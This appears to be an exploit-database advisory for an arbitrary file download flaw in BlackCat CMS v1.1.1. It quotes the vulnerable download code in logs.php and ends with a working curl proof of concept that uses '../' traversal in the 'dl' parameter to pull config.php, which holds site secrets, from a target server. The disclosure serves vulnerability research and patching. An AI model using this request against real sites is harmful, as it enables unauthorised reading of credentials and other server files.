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# Exploit Title: BlackCat CMS v1.1.1 Arbitrary File Download Vulnerability # Date: 2015/06/16 # Vendor Homepage: http://blackcat-cms.org/ # Software Link: http://blackcat-cms.org/temp/packetyzer/blackcatcms_2fo3PXdKj1.zip # Version: v1.1.1 # Tested on: Centos 6.5,PHP 5.4.41 # Category: webapps * Description file:/modules/blackcat/widgets/logs.php 72 // download 73 if(CAT_Helper_Validate::sanitizeGet('dl')) 74 { 75 $file = CAT_Helper_Directory::sanitizePath(CAT_PATH.'/temp/'.CAT_Helper_Validate::sanitizeGet('dl'));<-- Not Taint Checking 76 if(file_exists($file)) 77 { 78 $zip = CAT_Helper_Zip::getInstance(pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip'); 79 $zip->config('removePath',pathinfo($file,PATHINFO_DIRNAME)) 80 ->create(array($file)); 81 if(!$zip->errorCode() == 0) 82 { 83 echo CAT_Helper_Validate::getInstance()->lang()->translate("Unable to pack the file") 84 . ": ".str_ireplace( array( str_replace('\\','/',CAT_PATH),'\\'), array('/abs/path/to','/'), $file ); 85 } 86 else 87 { 88 $filename = pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip'; 89 header("Pragma: public"); // required 90 header("Expires: 0"); 91 header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); 92 header("Cache-Control: private",false); // required for certain browsers 93 header("Content-Type: application/zip"); 94 header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" ); 95 header("Content-Transfer-Encoding: binary"); 96 header("Content-Length: ".filesize($filename)); 97 readfile("$filename"); 98 exit; 99 } 100 } POC: curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/modules/blackcat/widgets/logs.php?dl=../config.php" |gunzip - |
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